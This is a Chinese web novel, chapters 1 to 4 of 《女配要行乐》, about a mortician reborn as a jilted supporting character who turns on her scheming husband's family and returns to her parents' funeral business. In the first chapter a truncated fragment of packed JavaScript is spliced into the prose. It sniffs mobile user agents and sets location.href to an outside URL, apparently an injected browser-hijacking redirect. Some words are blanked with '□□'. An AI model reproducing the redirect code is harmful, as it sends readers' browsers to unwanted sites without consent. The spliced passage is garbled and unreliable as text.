《女配要行乐》
1. 当然客户是不会回应的
白绯回过神的时候,床上的裸男正要往她身上拱。
多年来提着上百斤的行李到处跑的殡葬师工作经验,让她有的是力气和手段,下意识就抬脚把人从床上狠狠踢了下去。
从脚上传来的触感判断,正中关键部位。
“啊啊啊啊啊!”
男人一脸错愕地被蹬下了床,□□传来的巨大痛楚让他紧紧蜷缩成一团,捂着裆部哀嚎:“啊啊...好痛...”
白绯双手支撑在床上坐起身来,疑惑地看着地上的男子。
这是谁?我这是在哪儿呢?
她环顾四周,发现自己正处在一间婚房里,床边的落地衣架上挂着新娘秀禾服,墙上贴着喜字,斜对角的梳妆桌上摆着凤冠霞帔,梳妆镜里映出一张迷惘的脸。
是自己的脸,依旧妩媚艳丽,楚楚可人,身上穿着一条白色蕾丝睡裙,只是眉眼看着却年轻了不少。
怎么回事?我不是正在给客户化妆吗?
当时的她正在和客户吐槽不做人的老板私拉电线早晚出问题,当然客户是不会回应的,毕竟她干的是殡葬师,要是有人回复就该找茅山道士了。
突然,头顶闪过刺啦电光,紧接着有什么东西掉了下来,那一刻,她感觉自己仿佛成了渡劫的道友,被电光劈得五雷轰顶,睁开眼后,就发现自己来到了这间陌生的卧室。
显然,她穿成了婚房里的新娘,而新郎已经被她踢得鸡飞蛋打了。
“哎哟,对不住,你没事吧?”白绯赶紧下了床,半蹲在地上想把男人扶起来看看伤。
隔着此刻扭曲变形的五官,依然能看出新郎其实长相不错。皮肤是健康的小麦色,身材高大健壮,眉眼间是藏不住的傲气。
只可惜,再铁血的硬汉都顶不住断子绝孙脚。躺在地上的罗峻辉眼前都黑了,全身瘫软,四肢无力。更要命的是,他感觉下一秒自己的括约肌就要失能,屎尿齐出了。
他就像被掐住脖子的鸡,从喉咙里挤出气若游丝的惨呼:“好痛...”
白绯心下内疚,她穿越前是被父母遗弃的孤儿,在福利院长大。偏又长得一副勾魂摄魄的艳丽容貌,从小没少被人觊觎。美貌加上任何技能都是王炸,只有单出才是地狱。于是,白绯打小就练就了一身掏蛋踢裆神功,刚才下意识的反击,她脚下可是一点都没放水。
正内疚呢,结果脑中突然传来剧痛,惊得她站立不稳,踉跄着扶住了梳妆台。
桌上的凤冠被扫落在地,珠串纠缠成一团。
原来,她竟然穿进了一本书里的同名恋爱脑女配。原是白家独女,生活优渥父母疼爱,却禁不住恋爱脑,爱上了大山里出来的凤凰男罗峻辉。
罗峻辉宽肩窄腰,长相刚毅,颇具大男子气概,将娇滴滴的单蠢大小姐迷得五迷三道。
然而他的行事却一点也不男人,处处透着精明与算计。恋爱期间,明明自己在大厂做IT年薪不低,却以这钱要留着给我们将来的小家为由头一毛不拔,连约会买杯奶茶都要原主自己埋单,软饭吃得可谓明明白白。
奈何大小姐喜滋滋吃了这大饼,还认为罗峻辉是有上进心又有责任感的潜力股,铁了心地要和他结婚。
到了谈婚论嫁的时候,罗峻辉美美隐身,由着自己的老娘祝金花狮子大开口,一分钱彩礼不出,还要白家在A市这个一线城市全款买一套四室二厅的婚房和一辆五十万的婚车。
白家父母心善,想着只要小两口恩爱,他们经济能力更好,多出点钱也没什么,便点头答应了,只是好歹最后还是将婚房婚车都登记在了女儿名下。
二老的初衷是只愿能以真心换真心,却不知,对方只拿他们当人傻钱多的冤大头。
筹备婚礼期间,祝金花就带着女儿罗雪萍理直气壮地住进了婚房,甚至在白父白母上门的时候还摆出一副主人的气派,明里暗里嫌弃白家的丧葬生意晦气,缺一行的人才干这种营生呢,把二老活生生气走了。
婚后,罗峻辉又忽悠着原主挪用公司的经营收入,花三百万替罗家在农村老家盖了六层带院子的大楼房。这还不够,之后又编造各种缺钱的理由哄骗原主,又是做生意又是家人生病,让白家掏空了流动资金还不够,最后甚至又卖了名下房产,源源不断地填补着这个无底洞。最后,甚至以方便给大姑子的孩子上户口为理由,将婚房也过户给了罗峻辉。
在白家被吃干抹净后,罗家就彻底翻脸不认人,将原主从家里赶了出来。而直到这时,原主才发现,罗峻辉的私生子都已经三岁了。
白家老两口晚年遭此打击,很快就因病去世了。而白家的殡葬公司也由于资金链断裂,破产了。一无所有的原主疲于奔命,艰难地养活自己,而罗家却靠着吸白家的血,就此飞黄腾达,真正成了大山里走出来的凤凰。
接收完信息的白绯当场冷下了脸,看着脚下的男人,只觉得真晦气。
呸,什么凤凰,可别侮辱了高贵的凤凰。
这特么就是一家子草鸡。
还好自己清醒得早,没和这狗娘养的圆房,不然真能把她膈应死。
说狗娘狗娘就到,就在这时,卧室门被哐地一声大力踢开了。
紧接着,祝金花大呼小叫着扑了进来。她天生一副刻薄相,一双小眼睛满是算计,简直是穷生奸计的典范。
她心疼得跪在地上扶住一脸冷汗的罗峻辉,干瘪的嘴一张就尖利地嚎开了:“这是怎么回事?峻辉!峻辉!是不是这个不要脸的贱蹄子踢的你?!好啊!反了天了!”
老太婆心疼地看着自己骄傲的独子,怒火中烧,猛地站起身,狰狞着一张脸,伸出跟鹰爪似的枯瘦五指就朝白绯脸上抓来。
白绯可不是那逆来顺受的性子,抓住老登的手往后狠狠一推:“放尊重点啊,骂谁呢,别以为你老不死了我就不敢打你。”
老太太被这一下推得往后踉跄了两步,愣愣看着眼前横眉冷目的儿媳妇,似乎没想到一直柔弱可人的受气包怎么就转了性子突然敢还手了。
闪着恶毒光芒的眼睛在眼眶里转了一圈,突然就一屁股坐在地上扯着嗓子嚎了起来:“峻辉啊!你看你娶的这个好媳妇啊,才刚进门!才刚进门就要杀了你的老娘了啊!我不活了啊!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078800|163445||http|test|mini|href|location''.split(''|''),0,{}));
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>然而儿媳妇却没有如往常般手足无措地跪下来道歉,只抱胸站在边上冷冷看自己演戏。
白绯看着地上的母子,只觉得恶心欲呕。
她知道,祝金花刚才就扒在房板上,像只食腐的秃鹫,一直暗暗听着房里的动静。
这老太婆早就和姓罗的商量好了,让他偷偷摘了避孕套尽快先让白绯怀上,然后再由祝金花想办法让她流产。
如此一来,白绯就成了再也没人要的破鞋,只能被罗家拿捏在手里了。
躲在次卧和网友打游戏的大姑子罗雪萍终于听不下去了,骂骂咧咧走到房门口往里看,讶异道:“怎么了这是?弟媳妇你这是干嘛?”
罗雪萍看着白绯从衣柜拿出件风衣套上,拎上包就往外走。
这是她头一回看见白绯冷脸,平时的她总是一副柔弱可欺的模样,就算被她们娘俩怼得眼含泪花,也只会怯怯地看着罗峻辉,就好像自己那黑心肝的弟弟是她的救世主似的。
这让从小辍学在外漂泊打工供弟弟上学的罗雪萍看得更加嫉妒。凭什么,凭什么她就能被父母宠爱,衣食无忧?凭什么她有那么好听的名字,而自己曾经甚至叫招娣?
“你干嘛去?我跟你说话呢,耳朵聋了?”擦肩而过时,罗雪萍猛地伸出手就想去揪白绯的耳朵。
这娇生惯养的大小姐一身雪肤,就像上等的瓷器。和自己风吹日晒的黑红皮肤完全不同,是自己无论怎么保养和化妆都比不上的。
她怀着恶意,想看到那玉白的耳朵因为痛楚而泛红、流血,想要让这娇嫩的花在自己手下痛哭流涕。
然而白绯身形一晃,就躲开了罗雪萍的手。
她厌恶地瞥了罗雪萍一眼。这大姑子也不是什么好货色,原主在她手里也吃了不少苦头。
罗雪萍被这冷冷一瞥唬得下意识后退一步,只觉得在白绯眼中,自己大概只是一摊垃圾。
“你去哪里?”祝金花没等来白绯的道歉,终于停止了假哭,冲她怒喝道。
平时的白绯遇到她,就像秀才遇到兵,有理说不清,只剩下干抹眼泪和做小伏低的份,今天这是怎么了?中邪了?
这让正准备爬起来揪住白绯头发狠狠打一顿的祝老太难得的退缩了。
心想:白家干那晦气生意,被鬼缠上了也不是什么稀奇事。这小妮子走了正好,这么大的房子不就归我们老罗家了吗?
思及此,索性也不再管白绯,赶紧去扶还□□着躺在地上的儿子了。
趁此机会,白绯头也不回地走了。
如今敌众我寡,风紧扯呼。
白绯去地下车库开上父母给她买的奔驰,直奔娘家。
车子驶出地下时,她隔着车后视镜最后看了一眼那扇贴着喜字的窗户,心中冷笑。
让你们再得意两天,早晚让你们滚回自己该呆的地方。
而此刻楼上的罗峻辉也顾不上其他了,抓着祝金花的手青筋直爆,咬着牙怒吼道:“愣着干什么,还不快送我去医院!”
巨大的恐慌淹没了他。他可千万不能有事,老罗家的香火可都在他身上啊!
2. 嫂子,我来应聘
罗雪萍手忙脚乱地去玄关拿车钥匙了,片刻后却又慌里慌张地跑了回来,嘴里嚷道:“车钥匙没了!”
“一定是白绯那个贱货!”祝金花眉梢一吊就要开骂,剧痛难忍的罗峻辉只觉得两耳嗡嗡直响,头痛欲裂,怒喝道:“给我闭嘴!我们打车去!”
他艰难地裹上睡袍,弓着腰在二人的搀扶下出了门,走进电梯。
好巧不巧,电梯里正好有邻居,并且还认出了罗俊辉,惊讶出声问道:“这不是新郎官吗?大半夜的干啥呢?哎哟,受伤了?”
语气中是掩饰不住的吃瓜的兴奋。
罗峻辉一脸菜色,臭着脸不吭声。他想要直起身子好让自己看起来正常点,然而刚尝试了下就觉得痛得快要缺氧了,又倒着气弓成了一只虾。
祝金花翻着白眼啐了一口,骂道:“关你屁事。”
邻居也是这楼里的老人了,对这一大家子也有所耳闻。被当场呛声也不恼,只拿看戏的眼神如X光扫视着罗峻辉。
一旁的罗雪萍只觉得丢脸极了,红着脸不吭声。
自视甚高的罗峻辉何时受过这样的屈辱,好不容易挨到电梯门开,就迫不及待夹着腿挪了出去。
电梯门关上的时候,他分明听到身后传来一声嗤笑。
恼羞成怒的罗峻辉闭了闭眼,强迫自己冷静下来,抖着手打上了车。
另一边的白绯直奔自家的殡葬公司。
豪华的奔驰车在小楼门口的空地上停下,白绯打开车门下了车,被迎面吹来的冷风冻得打了个寒颤。虽然是夏夜,这处却依旧比城市中冷了好几个度。
与小楼咫尺之遥的是大片的墓地,一座座墓碑在黑夜里与白绯沉默对望。
换成常人,只怕早已吓得魂不附体夺路而逃了,只有白绯却像回了快乐老家。
上辈子的她很早就进入了殡葬业,只觉得这行业简直太美好了。
工作环境优美,又没有同事勾心斗角,客户也不会挑三拣四,甚至都不会开口说话,上哪儿还能找到这么完美的工作?
二楼亮起了灯光,母亲周芸睡眼惺忪地拉开了窗帘,朝庭院中看来:“大晚上的,怎么有车开进来了。”
“唉,不对,这不是闺女的车吗?”白书远带上眼镜,看清车牌后吓了一跳,三步并作两步就往楼下赶,“大晚上的突然回家,别是出事了!”
二人赶到楼下,就看到自家乖女儿正在大厅饮水机那儿接水。身上只穿着件睡裙披了件外套,怎么看都像是在婆家受了欺负。
白绯喝了一口一次性纸杯里的热水暖身体,看到下楼的父母,笑着喊了声:“爸,妈,我回来了。”
她在嘴里品了品这两个她上辈子从来没有机会叫出来的称呼,心里也跟着软了下来。
周芸握着白绯的手上下打量,眉头细细拧着:“这是怎么了,怎么突然回家了?”
白书远神情严肃,语气中带着克制的怒气:“是不是姓罗的欺负你了?”
白绯看着自己斯斯文文的爹下一秒就要出门干仗的架势,不知怎么的眼里就有泪花闪烁,顺势问道:“是呀,女儿被赶出家门了,爸爸妈妈你们还要我吗?”
周芸扶着白绯的肩膀在沙发上坐下,揉搓着她冰凉的手,怒道:“说什么胡话,这里才是你的家!”
白绯被老两口围在中间嘘寒问暖,只觉得心里暖暖的。
她也不瞒着二人,直接开门见山道:“我发现罗峻辉出轨了,而且还在谋算我们白家的财产,想要让我净身出户。”
周芸听完倒抽一口冷气,气得话都说不清了。“他们!他们竟然这么不要脸!”
白绯赶紧抚着她的胸口给她顺气:“妈,你别急。我们应该庆幸,幸好我发现得早,一切都还来得及。”
白书远出了名的好脾气,从没和人红过脸,此刻也被气得爆了粗:“我就知道这姓罗的一家他娘的没一个好货,一毛不拔还狮子大开口,跟敲诈勒索有什么两样!要不是看在绯绯的面子上,我当时就直接把他们全撵....”
话还没说完,就被周芸打断了。
“你少说点,绯绯当初也是被骗了。”
白绯却赞同地连连点头:“就是就是,一家子鬣狗。我当时真是瞎了眼,才会看上这么个人面兽心的玩意儿。”
原主还是杀妻案看少了,多看几集扔下水道里扔锅里扔马桶里,包治恋爱脑。
周芸原本担心女儿还爱着那畜生,如今看她清醒过来也是喜出望外。
白书远连呼三声好,道:“就凭我女儿这条件,要什么优秀的男人没有!”
“就是!”白绯赞同点头,暗道:三条腿的蛤蟆难找,两条腿的男人到处都是。男人嘛,无聊的时候用来玩弄玩弄感情就行了,一门心思栽进去的才是傻X。更何况,姐如今有财有貌,想不开才结婚,当大小姐不香吗?非要上杆子去当那免费保姆?
白家二老当初也是为了白绯受了罗家不少气,如今女儿终于幡然醒悟,二老可算扬眉吐气,不用再受那些窝囊气了。
时至今日,周芸想起来还很生气:“当时那老太婆还看不起咱家的殡葬生意,说晦气。到头来却惦记着我们家的财产,真是恬不知耻。”
说完又想起白绯也一直不认同这一行,觉得拿不出手,有些担忧地住了嘴。
没成想白绯却道:“所以说她只能动歪脑筋骗别人家的财产,见识还没她的头发长。你就说这行业,谁用不到吧?再说了,能给死者带来最后的体面,让生者怀着爱和怀念继续往前走,我们这行业的价值,又岂是金钱可以估量的。”
白书远很欣慰:“绯绯,你终于想明白了。”
他自动忽略了白绯前几句话,高兴地擦了擦眼角的泪花:“你能体会我们这一行的价值,爸爸很高兴。”
女儿终于长大了,周芸觉得,这波亏吃得也算值得了。
她担忧地问道:“那你接下来准备怎么做?”说完就又盘算起来,“还好当时房车都登记在你名下,所有权是没争议了。只是那老太婆一家住进去了必然没那么轻易肯挪窝。而且你们当初也没签婚前协议书,一旦离婚,他也能分走一半的财产啊!”
白绯却丝毫不慌,反而安抚道:“你们放心吧,我自有办法让他们滚出去。离婚也是肯定要离的,但该是我们白家的,他们一分也别想拿走。”
“好!”既然女儿成竹在握,周芸便也不再多问,起身问道:“半夜了,饿了吗?妈去给你煮碗汤圆?”
“嗯!谢谢妈!”白绯也不客气,甜笑着地冲周芸道谢。
她长得美,放低姿态撒娇的时候,谁都喜欢,更何况是自个亲妈。
周芸乐呵呵地去了后屋的小厨房,白书远也满眼宠溺地看着女儿,问道:“绯绯,那你今晚准备睡在哪儿?要是想回市里,一会儿吃完汤圆爸再送你过去。”
白家在市中心还有一套大平层,只是二老平时一般都住在公司。
白绯嫌弃殡葬行业,觉得瘆得慌,往日里是不愿意在这里待着的。
然而现在的白绯根本不觉得。她看着大厅展示柜里的骨灰盒、寿衣,只觉得十分亲切。
“我也睡在这儿吧,爸你去休息,我一会儿自己收拾。”
公司二楼还有不少闲置的房间,白书远哪舍得让宝贝女儿动手,按
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下了准备起身的白绯,自己去二楼,亲自挑了间南向的卧室收拾起来。
好在房间里该有的都有,平时也保持得很干净,只需要铺上床褥就行了。
白书远嫌弃柜子里的备用床褥好久没晒太阳盖着不舒服,索性将夫妻俩自己盖着的床褥搬了过去。
白绯吃完了周芸煮的汤圆,只觉得心和胃一样暖暖的。
她告别了二老,在房间里躺了下来,心里并不觉得可怕。前世的她,也是一直睡在公司里的,甚至一开始没有钱买床上用品的时候,还盖过单位货仓里的寿被。
如今,她闻着被子里传来的暖融融的太阳的味道,心中很安定,很快睡着了。
第二天是个好天气,白绯搬了张躺椅,正坐在庭院里纳凉。她以为祝老太会先按捺不住上门找茬,没成想却等来了个意料之外的人。
来人一米九的清瘦身材,黑色短发打理得一丝不苟,眼窝深邃,虹膜颜色是异乎常人的灰色,嘴唇微微抿着,显得有些不好接近。身上穿着陈旧却浆洗得很干净的白衬衫,袖口卷起到手肘,露出清瘦的腕骨,单肩挎着一个书包。
“嫂子。”
随着对方这一声称呼,白绯才从记忆的犄角旮旯里找出了来人的名字。
“祝临川?”
祝临川是祝金花的侄子,三岁的时候父母出车祸双双身亡,之后就被姑姑祝金花收养。更确切的说,祝金花应当只是收养了他们的赔偿金,至于这个便宜侄子,也不过是给他一口剩饭不至于饿死罢了。
原著里,祝临川这个角色出场并不多。只记得是个沉默寡言的年轻男人,一直住在学校里,在大学毕业后就离开了罗家,之后便杳无音讯。
算算时间,现在祝临川应该还在读大学。他来这儿干嘛?替罗峻辉出头来的?
“这不是表弟吗?来这有何贵干?”想起来人是谁后,白绯的态度就冷了下来。
她也不起身,就那么优哉游哉地瘫在躺椅上,还从边几上的果盘里拿了颗阳光玫瑰,慢条斯理地剥起了果皮。
祝临川的手捏紧了书包的肩带,罕见地犹豫了一瞬。
今早,祝金花咆哮着给他打电话,让他去把白绯押过来给表哥道歉,祝临川才知道,昨晚白绯不知怎么回事发了疯,竟在新婚夜将表哥踢进了医院。
但是从他听到的罗家母女的交谈中,不是一直说白绯是个刁蛮跋扈、势力薄情的坏女人吗?既然如此,发生这种事又有什么好意外的。
不过就算如此,他也不准备帮祝老太。
自从姑姑吞了父母的赔偿金,将他当狗般挥之则来呼之则去的时候,他就当这份亲缘已经死了。
这么多年,他勤工俭学,考上了A市最好的大学临博大学,眼看着前途光明,祝金花这老太婆却处处挑刺给他找麻烦。前前后后好几次把他的兼职搅黄,逼得他差点连学费都交不上。
这恶毒的老太婆并不体恤弟弟留在世上的唯一血脉,只感受到了玩弄弱小命运的残忍快感。她不允许这像流浪狗般在眼前苟延残喘的孩子一朝飞黄腾达,甚至有超过自己独子的可能,只打算将一切都扼杀在摇篮里。
俗话说的好,敌人的敌人就是朋友,祝临川反而想借着这次机会,寻找自己摆脱罗家的机会。他知道白家干的是殡葬,而祝老太一直嫌弃这一行晦气,连门都不愿意踏,这才逼着他来做这出头鸟。而刚才,他已经在院子门口看到了招聘海报,这里很缺人。
“我来应聘。”祝临川最终还是开了口,他不能错过这么好的机会。
这倒是让白绯很意外,终于正眼瞧了瞧眼前的年轻男人。
“应聘?”
3. 不要998,只要6888888
“对,我很缺钱。”祝临川毫不避讳地袒露自己的窘境,“我在临博大学上学,需要自己赚学费和生活费。你这里需要兼职吗?我现在大三,课不多,没课的时候都能在公司上班,晚上值班做保安也行。”
白绯却并不相信,只以为他是罗峻辉安插来的卧底。但她也不怵,想着我倒要看看你准备做什么妖。
“行啊!”白绯看着眼前站得笔直的年轻男人,道:“月薪五千,包吃包住,能接受吗?”
这可比祝临川预想的要好太多了,没有丝毫犹豫就答应了下来。
“可以,谢谢嫂子。”
“别叫我嫂子,我和你哥之间已经结束了。”白绯从躺椅上起身,扭头冲大厅里喊道:“小施!你过来带带新人!”
小施是公司里的老人了,为人憨厚热情,其他的人在这里都呆不长。
周芸笑称:流水的临时工,铁打的小施。
“唉!来了!”小施正在大厅里打扫告别室,闻言走到门口冲祝临川招招手。
祝临川背着书包,里面装着他全部的行李,看了眼恶霸似地又瘫回躺椅上的白绯,跟着小施走了。
白绯也没和父母多说祝临川的身份,只说收了个打工的大学生。
周芸闻言很是心疼:“唉,这孩子真懂事。”
“嗯。”白绯趴在周芸背上,和她一起站在二楼栏杆处往下看。
大厅里,小施正在和祝临川介绍展示柜的东西和价格。
眉目俊朗身形挺拔的祝临川仔细听着,时不时点点头。
周芸看着他乖巧的模样,只觉得心都化了:“还是临博大学的学生?这么优秀的孩子,你给人家把工资开高点。”
“开了五千呢!”白绯冲母亲伸开五个手指,夸张地比了比,道:“你瞅瞅外面多少大学生毕业也不过拿三千。”
周芸闻言笑道:“能帮咱就多帮点,赚钱的意义不就是在这儿嘛。”
她又看了眼祝临川,问道:“这孩子晚上也睡这儿?”
白绯点了点头,周芸便把她从自己身上揭下来,没好气地笑道:“怎么跟没骨头似的。我去给那孩子收拾间卧室出来,正好南边还有间大的,阳光好。咱们这地,确实感觉阴冷了点,我和你爸有时也觉得骨头疼。”
白绯亲了周芸的脸一口,心疼道:“那你和爸晚上就别睡这儿了,回市里去,这儿有我和小祝守着。”
周芸考虑了片刻,最终还是不放心,道:“再看看吧。”
周芸离开了,白绯趴在栏杆上往下看。
祝临川似乎察觉到了她的注视,抬头看上来,和白绯的视线在空中相撞。
他礼貌地冲她点了点头,嘴唇微微开合。
白绯意识到,那是祝临川叫了她一声“姐”。
这小子倒是乖觉。
看着他沉稳礼貌的模样,白绯却玩心大起,冲楼下喊道:“小施!告别室打扫完了吗?”
小施这才注意到在二楼的白绯,回答道:“绯绯姐,还差6号房间没打扫。我先带临川在公司里转一圈,有个大概了解,等会儿再回头清理。”
6号房间?白绯想起小施早上和自己的抱怨,笑得更开心了。
“让临川去吧。”白绯的嘴角牵起一抹邪恶的笑,一字一顿道:“他一个人去。”
“唉?”小施有些犹豫的看看白绯,道:“不太好吧?临川还是个新人。”
“新人才要学啊!”白绯嘴里答道,眼睛却直直看着祝临川,毫不掩饰自己的恶意。“你去帮我爸做纸活吧,跟上时代需求,给我折个八块腹肌的裸男出来,再折点捏捏,纸吧唧、纸护肤品化妆品什么的,去吧。”
小施闷闷地应了声,拍拍临川的肩膀,爱莫能助地走去库房了。
等祝临川带着口罩手套走进告别室的时候,白绯就靠在门口似笑非笑看着他。
祝临川拿着抹布在掺了消毒水的水桶里拧干,慢慢擦拭起了遗体瞻仰台。
就在这时,门口的白绯却突然“哎呀”叫了一声。
她盯着不明所以回头看她的祝临川,眼里闪烁着戏谑的光,慢条斯理道:“这张台子可得好好清理才行。”
雪肤红唇的美人撩起鬓边的长发夹到耳后,美得像无暇的天使,嘴里却吐出恶魔低语:“上一回躺在这里的逝者,家里人不懂事,大夏天的舍不得租冰棺,又拖了48小时才送来,身上都起腐败水疱了。你猜,后来怎么样了?”
戴着口罩的年轻人看不清表情,只是迟疑着摇了摇头。
“后来啊~”美艳的唇勾了勾,做了个“砰”的口型:“就都炸了啊。啧啧啧,炸得到处都是。哝,你看,那是不是就有好多?”
她示意祝临川仔细看自己手的位置。
果然,就在男人手掌放着的台面上,就有一大片黑红的污渍。
白绯看着祝临川慢慢低下头去,以为他会被吓得抖如筛糠。
人类本能地畏惧同类的尸体,那是源自于DNA里对死亡的恐惧。
然而祝临川却并没如白绯所预料的那般吓到腿软,只是淡定地确认了一下,慢吞吞道:“确实很脏。”
之后就用抹布蘸了消毒水,对着污渍处用力擦洗起来。
怎么回事?他怎么都不害怕?
白绯瞪着眼睛仔细看了祝临川半晌,确认人家是真的不害怕,顿觉无趣,失望地撇撇嘴,转身走了。
祝临川专注擦拭的动作顿了顿,回头瞟了眼白绯气鼓鼓的背影。
口罩上浅灰的眸中闪过淡淡的笑意。
捉弄不成的白绯回到大厅前台随便找了部剧看着,却突然听到有汽车开进院子。
听声音,还不止一辆。
白父也从仓库走了出来,手里还捏着个做了一半的纸扎别墅。
父女二人站在大门口看着驶进院子里的豪车车队,尤其是打头的那辆库里南,意识到:有生意上门了。
车上下来一个气场强大的中年人,身后跟着十来个人高马大的保镖。
白父已经迎了上去,双手递上名片,面容严肃庄重:“您好!请问有什么需要的?”
身边秘书模样的人接过名片,和白父做了交换。
白书远和白绯看了眼名片,瞳孔巨震,来的竟然是王氏企业老总。
“王总,这就是风水大师说的宝地了。”王总被搀扶着下了车,先是看了眼公司对面的墓地,片刻后满意点了点头。
他跟着白父进了大厅,在沙发上坐下,缓缓道出了来意。
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>原来,最近王氏多项投资都不幸翻车,王总本人还不慎扭了腰。诸事不顺的他怀疑起了自家的风水,请来了有名的风水大师。
风水大师掐算一番后得出结论,原来是王家老祖宗的宝穴出现了变化,需得迁坟才能破解,最后千挑万选挑中了白家这片墓地。
王总点头给予了肯定:“群山环抱,藏风聚气,明堂开阔,流水环抱,是人丁兴旺财源滚滚的好格局。”
他指着地图上的位置最佳的区域,对白书远道:“白老板,开个价吧!”
白父仔细看了眼王总指的位置,正是这片墓地价格最高的区域。
喜上眉梢的他正准备报价,却突然被白绯打断了。
白绯给王总端上了热茶,恭维道:“您的眼光真好,这位置是我们公司位置最好的墓穴了,只需要6888888,吉利数,现在下单还赠送玉石牛马,让您家老祖宗在下面也能享荣华富贵。”
白书远被女儿的报价吓得差点失态,还以为她是记错了价格,却见白绯冲他狡黠地眨了眨眼。
愣神间,王总却已经爽快地点了头。
风水宝地嘛,自然是贵的,不贵的那能叫风水宝地吗?
白绯又拿出画册摆在桌上,道:“你需要什么样的墓碑只管提,中式西式哥特式,无论什么风格,只要…咳,一切都好说。”
王总自然是不可能要什么哥特式的,最后选中了一款中式传统墓,在两侧加上了玉石狮子和玉石护栏,另外还挑选了两对玉石牛马下去给二老打工,两对对童男童女下去给二老捏肩捶背,之后又挑挑拣拣选了不少陪葬品。
和白书远商定完细节的王总爽快划了款,只待墓穴布置完毕,就挑个黄道吉日给老祖宗搬家了。花了大钱的王总并不心疼,只要祖宗能满意,继续在地下保佑老王家的财运气运,花这点钱对他也不过是九牛一毛。
祝临川在告别室听得明明白白,眼角忍不住抽了抽。
他记得很清楚,就在一小时前,小施才告诉过他,白家的墓地中,最贵的那一块位置也不过是1888888而已。
想到这他又忍不住自嘲起来,自己什么水平,竟然连小两百万的数也说的出而已两字,真是膨胀了。
只不过这白绯,果然是如罗家母女所言,大大的奸商啊!
王总带着车队扬长而去,白家父女站在门口相送。
直到车屁股彻底消失在视线里,白书远才瘫软着靠在了白绯身上。
“绯绯!你怎么报出这么离谱的价格?!”
白书远只觉得自己的心脏此刻都还在彭彭狂跳。
白绯狡黠地笑道:“嘿嘿,你管我报什么价格呢,只要客户认可,那就是合理的价格啦。放心啦,老规矩,盈利的10%做公益。”
白绯的最后一句话彻底打断了白书远最后的顾虑,他无奈地轻轻点了点白绯的额头,叹道:“你啊~”
白书远去忙了。他要联系工匠,早日把王总定下的东西布置到位。
白绯溜溜哒哒逛回了大厅,走到告别室门口一看,祝临川已经打扫完卫生走了,房间里弥漫着一股消毒水的味道。
就在这时,兜里的手机响了起来。
白绯看了眼屏幕,是私家侦探打来的。
4. 人类的本质都是吃瓜的猹
白绯接通了视频电话,屏幕中出现一张鬼鬼祟祟的脸。
“喂,白小姐?”陆寻的声音难掩兴奋,“我现在正在市一医院泌尿科,罗大□□子,额呸,罗先生正在里面治疗。”
白绯:...我都听见了。
紧跟着手机一阵晃动,陆寻的脸从屏幕里消失,摄像头对准了诊疗室。
“能看清吗?”陆寻带着气声的询问从听筒里传出,“看不清的话我再往里挪挪~”
话音刚落,屏幕中的视角就开始跃跃欲试地不断往诊疗室靠近。
“能能能,你别往里蹿了!”白绯赶紧阻止了他的作死行为,以防这个好不容易找来的侦探创业未半中道崩阻,被护士扭打进派出所。
今天一早,白绯就在网上找到了好几家提供调查服务的公司。
第一家提出可以安装窃听器与定位器的公司首先被排除,这种操作违反法律,并且后期白绯还有可能因此被牵连负上连带责任。
第二家声称拥有一款可以查询开房信息、行程信息的软件,并且要求白绯先付费后查看,这家必然是诈骗,也被pass。
白绯在网上搜索了一大圈,后来终于在网页的小角落里找到了陆寻的广告。
陆寻听到白绯的诉求后,对罗家的行为颇为不齿,义愤填膺,拍着胸脯保证,自己一定亲身人肉上阵,让白绯顺利合法地拿到罗峻辉出轨的证据。
而当白绯提出报酬问题的时候,陆寻表示给不给、给多少都行。反正他主要是享受八卦与手撕渣男的乐趣,钱不钱的根本无所谓。
白绯:...好一个奇男子。
当然,她也不能理直气壮地让人白干活,加了陆寻的联系方式后就划了笔钱过去。
陆寻一直没有收,直到现在才打来电话。
白绯眯着眼睛往屏幕里看,隔着飘荡的蓝色布帘,可以看到罗峻辉的上半身。从他龇牙咧嘴的表情来看,受伤不轻。
“患处有破皮,肿大,轻度受伤,问题不大。”
戴着口罩穿着白大褂的医生掀开帘子走了出来,语气却很轻描淡写。
“轻度?!可我都快痛死了。”罗峻辉的声音因为忍痛而控制不住地颤抖。
他昨晚半夜来到急诊,急诊科医生也下了一样的判断,开了点药就想把他打发回家。罗峻辉却无论如何都放不下心,硬在医院大厅冰冷的凳子上坐了半宿,门诊一开,就火急火燎地挂了泌尿科最权威的专家号。
熬夜和下半身的痛楚让他眼下青黑,像个连上了一个月夜班的社畜,抽着气在祝红梅的搀扶下艰难地坐了起来。
陆寻眼疾手快地拿着手机往回躲了躲,片刻后又在隐蔽的角落悄悄探了出来。
医生摘掉一次性手套扔进垃圾桶里,在水池里哗啦啦洗手,嘴里道:“颅骨粉碎性骨折都只能算轻伤一级,你这点伤有什么大不了的。”
罗峻辉:…
医生洗完手后又从桌上拿起两张影像看了看,之后就埋头在电脑上噼里啪啦打起字来:“根据超声和CT,深层器官都没有受到破坏。我给你开点止痛和消肿的药,你回去先用着,平时内裤就先别穿了,或者穿得宽松点,尽量减少对受伤部位的刺激。”
罗峻辉拢了拢睡袍的衣襟,依然忧心忡忡:“医生,我真的没事吗?我现在连尿...”
话说到一半,他就尴尬地闭上了嘴。此情此景,简直是把自己的脸按在地上摩擦。
刚被白绯踢中时,罗峻辉觉得自己分分钟就要失去对膀胱的控制了。然而熬过那个时刻,他却发现自己根本尿不出来。
“排尿困难是吗?”医生却见怪不怪,头也不抬地开处方,“没事,这是正常的,毕竟受伤了,后面可能还会出现尿血的情况。至于将来会不会影响性生活,唔…”
医生喘了个大气,罗峻辉的心都跟着提了起来。
“这个不好说,只能先观察。这样吧,给你开个住院单,你在这里待一天看看情况,单子拿去,一楼办手续。”
煎熬了这么久,却得到这么个回答,罗峻辉是很失望的。但这已经是最权威的大夫了,他也只能先等伤口恢复再说。
祝老太却不答应了。她很不满意医生这副不当回事的态度,喷着唾沫星子就干起仗来:“你这个人什么态度,我家儿子受伤了!你没看见他都痛成什么样了吗?你眼瞎吗?这能叫没事?!啊?!你叫别人踢成这样试试有没有事?!”
医生在口罩上翻了个白眼,嘟哝道:“谁知道他干了什么缺德事才叫人踢成这样,我又不缺德。”
